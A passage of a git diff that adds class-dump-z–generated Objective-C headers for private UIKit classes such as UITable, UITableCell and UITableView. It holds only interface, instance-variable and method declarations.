+__attribute__((visibility("hidden"))) +@interface UITabBarSelectionIndicatorView : UIView { +@private + UIImage* _image; + XXStruct_4cr1oD _slices; +} +-(id)initWithFrame:(CGRect)frame withImageName:(id)imageName; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarSwappableImageView.h b/igor/headers/dumpedUIKit/UITabBarSwappableImageView.h new file mode 100644 index 0000000..ffeff1b --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarSwappableImageView.h @@ -0,0 +1,32 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UITabBar; + +__attribute__((visibility("hidden"))) +@interface UITabBarSwappableImageView : UIView { +@private + id _value; + id _alternate; + BOOL _showAlternate; + BOOL _flipped; + int _currentAnimation; + UITabBar* _tabBar; + int _buttonTag; +} +-(id)initWithImage:(id)image alternateImage:(id)image2; +-(void)dealloc; +-(void)setCurrentImage; +-(void)showAlternateImage:(BOOL)image; +-(void)setFlipped:(BOOL)flipped; +-(void)animateImage:(float)image withTabBar:(id)tabBar withTag:(int)tag; +-(void)animationDidStop:(id)animation finished:(BOOL)finished; +@end + diff --git a/igor/headers/dumpedUIKit/UITable.h b/igor/headers/dumpedUIKit/UITable.h new file mode 100644 index 0000000..686ea59 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITable.h @@ -0,0 +1,239 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIScroller.h" +#import "UITable.h" + +@class UIFloatArray, NSMutableArray, UITableCountView, _UITableDeleteAnimationSupport, _UITableReorderingSupport; + +@interface UITable : UIScroller { + id _dataSource; + NSMutableArray* _tableColumns; + SEL _doubleAction; + UIFloatArray* _rowHeights; + NSRange _visibleRows; + NSRange _visibleCols; + NSMutableArray* _visibleCells; + _UITableDeleteAnimationSupport* _deleteAnimationSupport; + unsigned _selectedRow; + unsigned _lastHighlightedRow; + int _rowCount; + int _tableReloadingSuspendedCount; + float _padding; + UIView* _accessoryView; + UITableCountView* _countLabel; + NSMutableArray* _reusableTableCells; + int _reusableCapacity; + NSMutableArray* _extraSeparators; + int _swipeToDeleteRow; + struct { + unsigned separatorStyle : 3; + unsigned rowDeletionEnabled : 1; + unsigned allowSelectionDuringRowDeletion : 1; + unsigned dataSourceHeightForRow : 1; + unsigned dataSourceSetObjectValue : 1; + unsigned dataShowDisclosureForRow : 1; + unsigned dataDisclosureClickableForRow : 1; + unsigned dataSourceWantsHints : 1; + unsigned dataSourceCanDeleteRow : 1; + unsigned dataSourceConfirmDeleteRow : 1; + unsigned delegateTableSelectionDidChange : 1; + unsigned scrollsToSelection : 1; + unsigned reloadSkippedDuringSuspension : 1; + unsigned reuseTableCells : 1; + unsigned delegateUpdateVisibleCellsNote : 1; + unsigned delegateTableRowSelected : 1; + unsigned rowAlreadyHighlighted : 1; + unsigned needsReload : 1; + unsigned delegateCanSwipe : 1; + unsigned updatingVisibleCellsManually : 1; + unsigned scheduledUpdateVisibleCells : 1; + unsigned warnForForcedCellUpdateDisabled : 1; + unsigned delaySendingSelectionChanged : 1; + unsigned dataSourceCanInsertAtRow : 1; + unsigned shouldDisplayTopSeparator : 1; + unsigned displayTopSeparator : 1; + unsigned needToAdjustExtraSeparators : 1; + unsigned ignoreDragSwipe : 1; + unsigned lastHighlightedRowActive : 1; + unsigned reloading : 1; + unsigned countStringInsignificantRowCount : 4; + unsigned dataSourceCanReuseCell : 1; + unsigned reserved : 27; + } _tableFlags; + _UITableReorderingSupport* _reorderingSupport; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(BOOL)validateDataSource; +-(void)setDataSource:(id)source; +-(id)dataSource; +-(void)setDelegate:(id)delegate; +-(id)tableColumns; +-(int)numberOfColumns; +-(int)dataSourceGetRowCount; +-(BOOL)dataSourceSupportsVariableRowHeights; +-(int)numberOfRows; +-(void)addTableColumn:(id)column; +-(void)removeTableColumn:(id)column; +-(int)columnWithIdentifier:(id)identifier; +-(id)tableColumnWithIdentifier:(id)identifier; +-(void)setRowHeight:(float)height; +-(float)rowHeight; +-(void)scrollRowToVisible:(int)visible; +-(void)clearAllData; +-(void)_updateOriginOfCells:(NSRange)cells; +-(void)reloadDataForInsertionOfRows:(NSRange)rows; +-(void)reloadCellAtRow:(int)row column:(int)column animated:(BOOL)animated; +-(float)animationDuration; +-(void)reloadDataForInsertionOfRows:(NSRange)rows animated:(BOOL)animated; +-(void)reloadData; +-(void)noteNumberOfRowsChanged; +-(void)setNeedsDisplayInRowRange:(NSRange)rowRange; +-(void)setDoubleAction:(SEL)action; +-(SEL)doubleAction; +-(void)setCountStringInsignificantRowCount:(unsigned)count; +-(void)setCountString:(id)string; +-(void)animateDeletionOfCellAtRow:(int)row column:(int)column viaEdge:(int)edge; +-(void)animateDeletionOfRowWithCell:(id)cell viaEdge:(int)edge animatingOthersUp:(BOOL)up; +-(void)animateDeletionOfRowWithCell:(id)cell viaEdge:(int)edge; +-(void)animateDeletionOfRowWithCell:(id)cell; +-(void)completeRowDeletionAnimation; +-(BOOL)canDeleteRow:(int)row; +-(BOOL)canInsertAtRow:(int)row; +-(void)enableRowDeletion:(BOOL)deletion; +-(BOOL)_userCanDeleteRows; +-(void)_enableRowDeletion:(BOOL)deletion forCell:(id)cell atRow:(int)row allowInsert:(BOOL)insert allowReorder:(BOOL)reorder animated:(BOOL)animated; +-(int)deleteConfirmationRow; +-(void)setDeleteConfirmationRow:(int)row; +-(void)removeControlWillHideRemoveConfirmation:(id)removeControl; +-(void)enableRowDeletion:(BOOL)deletion animated:(BOOL)animated; +-(void)_removeContextFromSuperview:(id)superview finished:(id)finished context:(id)context; +-(void)_disableInteraction; +-(void)_enableInteraction; +-(BOOL)isRowDeletionEnabled; +-(void)setAllowSelectionDuringRowDeletion:(BOOL)deletion; +-(void)updateDisclosures; +-(CGRect)frameOfCellAtRow:(int)row column:(int)column; +-(CGRect)frameOfCellAtColumn:(int)column row:(int)row; +-(CGRect)rectOfViewAtColumn:(int)column row:(int)row; +-(id)viewAtColumn:(int)column row:(int)row; +-(id)cellAtRow:(int)row column:(int)column; +-(void)setAllowsReordering:(BOOL)reordering; +-(id)dataSourceCreateCellForRow:(int)row column:(int)column reusing:(id)reusing; +-(BOOL)shouldIndentRow:(int)row; +-(id)_resuableObjectForTableCell:(id)tableCell; +-(id)createPreparedCellForRow:(int)row column:(int)column; +-(CGRect)rectOfColumn:(int)column; +-(CGRect)_rectOfRow:(int)row usingRowHeights:(id)heights; +-(CGRect)rectOfRow:(int)row; +-(NSRange)columnsInRect:(CGRect)rect; +-(NSRange)rowsInRect:(CGRect)rect; +-(int)columnAtPoint:(CGPoint)point; +-(int)rowAtPoint:(CGPoint)point; +-(id)visibleCellsWithoutUpdatingLayout; +-(id)visibleCells; +-(id)visibleCellForRow:(int)row column:(int)column; +-(BOOL)getRow:(int*)row column:(int*)column ofTableCell:(id)tableCell; +-(NSRange)visibleRowsInRect:(CGRect)rect; +-(void)setOffset:(CGPoint)offset; +-(void)setFrame:(CGRect)frame; +-(void)_userSelectRow:(int)row; +-(void)selectRow:(int)row byExtendingSelection:(BOOL)selection; +-(void)_sendSelectionDidChange; +-(void)_delaySendSelectionDidChange; +-(void)removeFromSuperview; +-(BOOL)cancelMouseTracking; +-(BOOL)cancelTouchTracking; +-(void)selectCell:(id)cell inRow:(int)row column:(int)column withFade:(BOOL)fade; +-(void)_selectRow:(int)row byExtendingSelection:(BOOL)selection withFade:(BOOL)fade scrollingToVisible:(BOOL)visible withSelectionNotifications:(BOOL)selectionNotifications; +-(void)selectRow:(int)row byExtendingSelection:(BOOL)selection withFade:(BOOL)fade scrollingToVisible:(BOOL)visible; +-(void)selectRow:(int)row byExtendingSelection:(BOOL)selection withFade:(BOOL)fade; +-(BOOL)shouldDelaySendingSelectionChanged; +-(int)selectedRow; +-(int)lastHighlightedRow; +-(BOOL)highlightRow:(int)row; +-(BOOL)highlightNextRowByDelta:(int)delta; +-(BOOL)selectHighlightedRow; +-(void)setScrollsToSelection:(BOOL)selection; +-(void)setSeparatorStyle:(int)style; +-(int)separatorStyle; +-(void)setPadding:(float)padding; +-(UIEdgeInsets)adornmentMargins; +-(UIEdgeInsets)pressedAdornmentMargins; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(BOOL)canSelectRow:(int)row; +-(BOOL)_checkCanSelectRow:(int)row view:(id)view; +-(void)contentMouseUpInView:(id)view withEvent:(GSEventRef)event; +-(void)highlightView:(id)view state:(BOOL)state; +-(void)setAccessoryView:(id)view; +-(id)accessoryView; +-(void)drawExtraSeparator:(CGRect)separator; +-(void)setResusesTableCells:(BOOL)cells; +-(void)setReusesTableCells:(BOOL)cells; +-(void)scrollAndCenterTableCell:(id)cell animated:(BOOL)animated; +-(void)_updateContentSize; +-(BOOL)floatArray:(id)array loadValues:(float*)values count:(int)count; +-(void)floatArray:(id)array getValueCount:(int*)count gapIndexCount:(int*)count3; +-(void)_reloadRowHeights; +-(void)_addSubview:(id)subview atTop:(BOOL)top; +-(void)layoutSubviews; +-(void)_stopAutoscrollTimer; +-(void)_beginReorderingForCell:(id)cell; +-(void)_autoscroll:(id)autoscroll; +-(void)_reorderPositionChangedForCell:(id)cell; +-(void)_finishedAnimatingCellReorder:(id)reorder finished:(id)finished context:(id)context; +-(void)_endCellReorderAnimation; +-(void)_tableCellAnimationDidStop:(id)_tableCellAnimation finished:(id)finished; +-(void)_endReorderingForCell:(id)cell; +-(void)_setNeedsVisibleCellsUpdate:(BOOL)update; +-(BOOL)canHandleSwipes; +-(int)swipe:(int)swipe withEvent:(GSEventRef)event; +-(void)_updateVisibleCellsNow; +-(void)_updateVisibleCellsImmediatelyIfNecessary; +-(void)_suspendReloads; +-(void)_resumeReloads; +-(int)_rowForTableCell:(id)tableCell; +-(void)_deleteRowAlertDidEndWithResult:(BOOL)_deleteRowAlert contextInfo:(id)info; +-(void)_deleteRowAlertDidEndContinuation:(id)_deleteRowAlert; +-(BOOL)_shouldDeleteRowForTableCell:(id)tableCell; +-(void)_animateRowsForDeletionOfRow:(int)row withSep:(id)sep; +-(void)_saveTableStateBeforeAnimationForRow:(int)row; +-(void)_restoreTableStateAfterAnimation; +-(int)_removeFromVisibleRows:(id)visibleRows; +-(void)_getRowCount:(int*)count andHeight:(float*)height beforeVisibleCellsForRows:(id)rows; +-(void)_animateRemovalOfCell:(id)cell atRow:(int)row col:(int)col viaEdge:(int)edge withAmountToSlideUp:(float*)slideUp; +-(void)_animateRemovalOfVisibleRows:(id)visibleRows viaEdge:(int)edge withAmountToSlideUp:(float*)slideUp; +-(void)_animateNewCells:(id)cells bySlidingUpAmount:(float)amount; +-(void)_animateNewCells:(id)cells bySlidingDownAmount:(float)amount; +-(float)_partOfRow:(int)row thatIsHidden:(BOOL)hidden; +-(void)deleteRows:(id)rows viaEdge:(int)edge animated:(BOOL)animated; +-(void)deleteRows:(id)rows viaEdge:(int)edge; +-(void)_fadeCellOutAnimationDidStop:(id)_fadeCellOutAnimation finished:(id)finished context:(id)context; +-(void)insertRows:(id)rows deleteRows:(id)rows2 reloadRows:(id)rows3; +-(void)_willDeleteRow:(int)row forTableCell:(id)tableCell viaEdge:(int)edge animateOthers:(BOOL)others; +-(void)_enableAndRestoreTableStateAfterAnimation; +-(void)_finishedRemovingRemovalButtonForTableCell:(id)tableCell; +-(void)_didDeleteRowForTableCell:(id)tableCell; +-(void)_didInsertRowForTableCell:(id)tableCell; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(BOOL)_shouldTryPromoteDescendantToFirstResponder; +-(void)_scheduleAdjustExtraSeparators; +-(void)_adjustExtraSeparators; +-(unsigned)_countStringRowCount; +-(void)_setRowCount:(int)count; +-(void)_adjustCountLabel; +-(void)_adjustReusableTableCells; +@end + +@interface UITable (SyntheticEvents) +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UITableCell.h b/igor/headers/dumpedUIKit/UITableCell.h new file mode 100644 index 0000000..d188634 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableCell.h @@ -0,0 +1,112 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class _UITableCellTransientData; + +@interface UITableCell : UIView { +@private + _UITableCellTransientData* _transientData; + float _rightMargin; + struct { + unsigned dontShowSelection : 1; + unsigned showDisclosure : 1; + unsigned showTopSeparator : 1; + unsigned separatorStyle : 3; + unsigned selectionStyle : 3; + unsigned hideDisclosure : 1; + unsigned isBeingDeleted : 1; + unsigned disclosureClickable : 1; + unsigned selectionFadeFraction : 11; + unsigned disclosureStyle : 1; + unsigned showingRemoveControl : 1; + unsigned alignment : 3; + unsigned showDisclosureWhenReordering : 1; + unsigned fadeDisclosure : 1; + unsigned reserved : 2; + } _tableCellFlags; + UIView* _disclosureView; +} +-(id)disclosureImage; +-(id)disclosurePressedImage; +-(void)dealloc; +-(id)removeControl; +-(void)setSelected:(BOOL)selected withFade:(BOOL)fade; +-(void)updateHighlightColors; +-(BOOL)isAtLeastHalfSelected; +-(float)selectionPercent; +-(void)_deselectWithFlashCount:(int)flashCount duration:(double)duration; +-(void)setSelected:(BOOL)selected; +-(BOOL)isSelected; +-(void)setShowSelection:(BOOL)selection; +-(void)setShowSelectionNoRedisplay:(BOOL)redisplay; +-(void)setSeparatorStyle:(int)style; +-(void)setShowDisclosure:(BOOL)disclosure; +-(void)setSelectionStyle:(int)style; +-(void)setDisclosureStyle:(int)style; +-(void)setDisclosureStyleNoUpdate:(int)update; +-(int)disclosureStyle; +-(int)separatorStyle; +-(void)setSeparatorStyleOnly:(int)only; +-(BOOL)showSelection; +-(BOOL)showDisclosure; +-(void)setAlpha:(float)alpha; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(BOOL)cancelMouseTracking; +-(BOOL)cancelTouchTracking; +-(BOOL)_isReordering; +-(id)_grabberView; +-(void)drawRect:(CGRect)rect; +-(void)_releaseGrabber; +-(void)_finishedFadingGrabber:(id)grabber finished:(BOOL)finished; +-(float)disclosureRightMargin; +-(BOOL)isReorderingEnabled; +-(void)setShowDisclosureWhenReordering:(BOOL)reordering; +-(BOOL)showDisclosureWhenReordering; +-(void)setEnableReordering:(BOOL)reordering animated:(BOOL)animated; +-(void)_grabberBeganReorder:(id)reorder; +-(void)_grabberDragged:(id)dragged yDelta:(float)delta; +-(void)_grabberReleased:(id)released; +-(void)drawBackgroundInRect:(CGRect)rect withFade:(float)fade; +-(void)drawSeparatorInRect:(CGRect)rect; +-(void)drawContentInRect:(CGRect)rect selected:(BOOL)selected; +-(void)_releaseRemoveControl; +-(void)removeFromSuperview; +-(void)setDisclosureClickable:(BOOL)clickable; +-(id)createRemoveControl; +-(id)createInsertControl; +-(void)_setDisclosureHidden:(BOOL)hidden; +-(void)_setGrabberHidden:(BOOL)hidden; +-(void)removeControlWillShowRemoveConfirmation:(id)removeControl; +-(void)removeControlWillHideRemoveConfirmation:(id)removeControl; +-(void)_setRightMargin:(float)margin; +-(id)disclosureView; +-(void)setDisclosureView:(id)view; +-(id)_disclosureView; +-(float)removeButtonAnimationDuration; +-(void)_layoutSubviewsAnimated:(BOOL)animated; +-(void)_setShowIndentSpacer:(BOOL)spacer animated:(BOOL)animated; +-(BOOL)isRemoveControlVisible; +-(void)_showDeleteOrInsertion:(BOOL)insertion withDisclosure:(BOOL)disclosure animated:(BOOL)animated isDelete:(BOOL)aDelete andRemoveConfirmation:(BOOL)confirmation; +-(void)_uiRemoveControlMinusButtonHideAnimationDone:(id)done; +-(void)_willBeDeleted; +-(BOOL)removeControl:(id)control shouldRemoveTarget:(id)target; +-(void)removeControl:(id)control willRemoveTarget:(id)target; +-(void)removeControl:(id)control didRemoveTarget:(id)target; +-(void)insertControl:(id)control shouldInsertWithTarget:(id)target; +-(id)_createDisclosureView; +-(CGRect)contentBounds; +-(void)setShowDisclosure:(BOOL)disclosure animated:(BOOL)animated; +-(void)_setRemoveCharge:(float)charge; +-(void)_setDrawsTopSeparator:(BOOL)separator; +-(void)layoutSubviews; +-(BOOL)_shouldTryPromoteDescendantToFirstResponder; +-(void)_setSelectionFadeFraction:(float)fraction; +@end + diff --git a/igor/headers/dumpedUIKit/UITableCellDisclosureView.h b/igor/headers/dumpedUIKit/UITableCellDisclosureView.h new file mode 100644 index 0000000..be2131e --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableCellDisclosureView.h @@ -0,0 +1,16 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIPushButton.h" + + +__attribute__((visibility("hidden"))) +@interface UITableCellDisclosureView : UIPushButton { +} +-(BOOL)_alwaysHandleScrollerMouseEvent; +@end + diff --git a/igor/headers/dumpedUIKit/UITableCellFadeAnimation.h b/igor/headers/dumpedUIKit/UITableCellFadeAnimation.h new file mode 100644 index 0000000..4c5258a --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableCellFadeAnimation.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" + + +__attribute__((visibility("hidden"))) +@interface UITableCellFadeAnimation : UIAnimation { +@private + BOOL _select; +} +-(id)initWithTarget:(id)target select:(BOOL)select; +-(void)dealloc; +-(void)_appSuspended:(id)suspended; +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/UITableCellFlashDeselectAnimation.h b/igor/headers/dumpedUIKit/UITableCellFlashDeselectAnimation.h new file mode 100644 index 0000000..5458fea --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableCellFlashDeselectAnimation.h @@ -0,0 +1,18 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" + + +__attribute__((visibility("hidden"))) +@interface UITableCellFlashDeselectAnimation : UIAnimation { +@private + int _flashCount; +} +-(void)setProgress:(float)progress; +@end + diff --git a/igor/headers/dumpedUIKit/UITableCellRemoveControl.h b/igor/headers/dumpedUIKit/UITableCellRemoveControl.h new file mode 100644 index 0000000..f3fb28a --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableCellRemoveControl.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIRemoveControl.h" + + +__attribute__((visibility("hidden"))) +@interface UITableCellRemoveControl : UIRemoveControl { +@private + float _verticalOffset; +} +-(id)initWithTarget:(id)target; +-(float)_verticalOffsetFromTarget; +@end + diff --git a/igor/headers/dumpedUIKit/UITableColumn.h b/igor/headers/dumpedUIKit/UITableColumn.h new file mode 100644 index 0000000..2b37326 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableColumn.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString; + +@interface UITableColumn : NSObject { + NSString* _identifier; + NSString* _title; + float _width; +} +-(id)initWithTitle:(id)title identifier:(id)identifier width:(float)width; +-(void)dealloc; +-(id)title; +-(void)setTitle:(id)title; +-(void)setIdentifier:(id)identifier; +-(id)identifier; +-(float)width; +-(void)setWidth:(float)width; +@end + diff --git a/igor/headers/dumpedUIKit/UITableCountView.h b/igor/headers/dumpedUIKit/UITableCountView.h new file mode 100644 index 0000000..5864b22 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableCountView.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILabel.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UITableCountView : UILabel { +@private + NSString* _countString; + int _count; +} +-(id)initWithFrame:(CGRect)frame withCountString:(id)countString withCount:(int)count; +-(void)dealloc; +-(void)setCountString:(id)string withCount:(int)count; +-(void)setCount:(int)count; +-(int)count; +@end + diff --git a/igor/headers/dumpedUIKit/UITableHeaderFooterView.h b/igor/headers/dumpedUIKit/UITableHeaderFooterView.h new file mode 100644 index 0000000..225a008 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableHeaderFooterView.h @@ -0,0 +1,37 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString, UIImage, UILabel; + +__attribute__((visibility("hidden"))) +@interface UITableHeaderFooterView : UIView { +@private + UILabel* _label; + UIImage* _backgroundImage; + int _tableViewStyle; + BOOL _sectionHeader; + CGRect _frame; +} +@property(assign, nonatomic) int tableViewStyle; +@property(assign, nonatomic) BOOL sectionHeader; +@property(retain, nonatomic) NSString* text; ++(id)_defaultFontForTableViewStyle:(int)tableViewStyle isSectionHeader:(BOOL)header; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(CGRect)frame; +-(CGSize)_textSizeForWidth:(float)width; +-(CGRect)_labelFrame; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)_updateBackgroundImage; +-(void)setOpaque:(BOOL)opaque; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITableSeparatorView.h b/igor/headers/dumpedUIKit/UITableSeparatorView.h new file mode 100644 index 0000000..a75edaf --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableSeparatorView.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UITableCell, UITable; + +__attribute__((visibility("hidden"))) +@interface UITableSeparatorView : UIView { +@private + UITableCell* _tableCell; + UITable* _table; +} +-(id)initWithTableCell:(id)tableCell; +-(id)initWithFrame:(CGRect)frame withTable:(id)table; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITableView.h b/igor/headers/dumpedUIKit/UITableView.h new file mode 100644 index 0000000..a3d2cba --- /dev/null +++ b/igor/headers/dumpedUIKit/UITableView.h @@ -0,0 +1,402 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UITableView.h" +#import "UIScrollView.h" + +@class NSMutableArray, NSIndexPath, NSMutableDictionary, NSArray, UIColor, UITableViewCell; +@protocol UITableViewDelegate, UITableViewDataSource; + +@interface UITableView : UIScrollView { +@private + int _style; + id _dataSource; + id _rowData; + float _rowHeight; + float _sectionHeaderHeight; + float _sectionFooterHeight; + NSRange _visibleRows; + NSMutableArray* _visibleCells; + NSIndexPath* _firstResponderIndexPath; + UITableViewCell* _firstResponderCell; + NSMutableDictionary* _reusableTableCells; + UITableViewCell* _topSeparatorCell; + id _topSeparator; + NSMutableArray* _extraSeparators; + CFDictionaryRef _visibleHeaderViews; + CFDictionaryRef _visibleFooterViews; + NSMutableArray* _reusableHeaderViews; + NSMutableArray* _reusableFooterViews; + NSMutableArray* _reusableTransparentHeaderViews; + NSMutableArray* _reusableTransparentFooterViews; + NSMutableArray* _highlightedIndexPaths; + NSMutableArray* _selectedIndexPaths; + int _swipeToDeleteSection; + int _swipeToDeleteRow; + NSIndexPath* _pendingSelectionIndexPath; + UIView* _touchedContentView; + UIView* _newContentView; + id _deleteAnimationSupport; + id _reorderingSupport; + UIView* _index; + UIView* _tableHeaderBackgroundView; + UIView* _tableHeaderView; + UIView* _tableFooterView; + id _countLabel; + int _tableReloadingSuspendedCount; + int _tableDisplaySuspendedCount; + int _sectionIndexMinimumDisplayRowCount; + int _itemCountFooterMinimumDisplayRowCount; + NSMutableArray* _insertItems; + NSMutableArray* _deleteItems; + NSMutableArray* _reloadItems; + UIColor* _separatorColor; + UIColor* _checkmarkColor; + NSArray* _defaultSectionIndexTitles; + int _updateCount; + id _reserved; + struct { + unsigned dataSourceNumberOfRowsInSection : 1; + unsigned dataSourceCellForRow : 1; + unsigned dataSourceNumberOfSectionsInTableView : 1; + unsigned dataSourceTitleForHeaderInSection : 1; + unsigned dataSourceTitleForFooterInSection : 1; + unsigned dataSourceCommitEditingStyle : 1; + unsigned dataSourceSectionIndexTitlesForTableView : 1; + unsigned dataSourceSectionForSectionIndexTitle : 1; + unsigned dataSourceCanEditRow : 1; + unsigned dataSourceCanMoveRow : 1; + unsigned dataSourceCanUpdateRow : 1; + unsigned dataSourceShouldShowMenu : 1; + unsigned dataSourceCanPerformAction : 1; + unsigned dataSourcePerformAction : 1; + unsigned delegateEditingStyleForRowAtIndexPath : 1; + unsigned delegateTitleForDeleteConfirmationButtonForRowAtIndexPath : 1; + unsigned delegateShouldIndentWhileEditing : 1; + unsigned dataSourceMoveRow : 1; + unsigned delegateCellForRow : 1; + unsigned delegateWillDisplayCell : 1; + unsigned delegateHeightForRow : 1; + unsigned delegateHeightForSectionHeader : 1; + unsigned delegateHeightForSectionFooter : 1; + unsigned delegateViewForHeaderInSection : 1; + unsigned delegateViewForFooterInSection : 1; + unsigned delegateDisplayedItemCountForRowCount : 1; + unsigned delegateDisplayStringForRowCount : 1; + unsigned delegateAccessoryTypeForRow : 1; + unsigned delegateAccessoryButtonTappedForRow : 1; + unsigned delegateWillSelectRow : 1; + unsigned delegateWillDeselectRow : 1; + unsigned delegateDidSelectRow : 1; + unsigned delegateDidDeselectRow : 1; + unsigned delegateWillBeginEditing : 1; + unsigned delegateDidEndEditing : 1; + unsigned delegateWillMoveToRow : 1; + unsigned delegateIndentationLevelForRow : 1; + unsigned delegateWantsHeaderForSection : 1; + unsigned delegateHeightForRowsInSection : 1; + unsigned style : 1; + unsigned separatorStyle : 3; + unsigned wasEditing : 1; + unsigned isEditing : 1; + unsigned scrollsToSelection : 1; + unsigned reloadSkippedDuringSuspension : 1; + unsigned updating : 1; + unsigned displaySkippedDuringSuspension : 1; + unsigned needsReload : 1; + unsigned updatingVisibleCellsManually : 1; + unsigned scheduledUpdateVisibleCells : 1; + unsigned scheduledUpdateVisibleCellsFrames : 1; + unsigned warnForForcedCellUpdateDisabled : 1; + unsigned displayTopSeparator : 1; + unsigned countStringInsignificantRowCount : 4; + unsigned needToAdjustExtraSeparators : 1; + unsigned overlapsSectionHeaderViews : 1; + unsigned ignoreDragSwipe : 1; + unsigned ignoreTouchSelect : 1; + unsigned lastHighlightedRowActive : 1; + unsigned reloading : 1; + unsigned allowsSelection : 1; + unsigned allowsSelectionDuringEditing : 1; + unsigned showsSelectionImmediatelyOnTouchBegin : 1; + unsigned indexHidden : 1; + unsigned indexHiddenForSearch : 1; + unsigned defaultShowsHorizontalScrollIndicator : 1; + unsigned defaultShowsVerticalScrollIndicator : 1; + unsigned sectionIndexTitlesLoaded : 1; + unsigned tableHeaderViewShouldAutoHide : 1; + unsigned tableHeaderViewIsHidden : 1; + unsigned tableHeaderViewWasHidden : 1; + unsigned hideScrollIndicators; + } _tableFlags; + unsigned _selectedSection; + unsigned _selectedRow; + unsigned _lastSelectedSection; + unsigned _lastSelectedRow; +} +@property(retain, nonatomic) id scrollTestParameters; +@property(assign, nonatomic) int sectionIndexMinimumDisplayRowCount; +@property(retain, nonatomic) UIView* tableFooterView; +@property(retain, nonatomic) UIView* tableHeaderView; +@property(retain, nonatomic) UIColor* separatorColor; +@property(assign, nonatomic) int separatorStyle; +@property(assign, nonatomic) BOOL allowsSelectionDuringEditing; +@property(assign, nonatomic) BOOL allowsSelection; +@property(assign, nonatomic, getter=isEditing) BOOL editing; +@property(assign, nonatomic) float sectionFooterHeight; +@property(assign, nonatomic) float sectionHeaderHeight; +@property(assign, nonatomic) float rowHeight; +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) id dataSource; +@property(readonly, assign, nonatomic) int style; +-(id)initWithFrame:(CGRect)frame; +-(void)_setupTableViewCommon; +-(id)initWithFrame:(CGRect)frame style:(int)style; +-(void)_populateArchivedSubviews:(id)subviews; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)reloadData; +-(void)reloadSectionIndexTitles; +-(void)noteNumberOfRowsChanged; +-(int)globalRowForRowAtIndexPath:(id)indexPath; 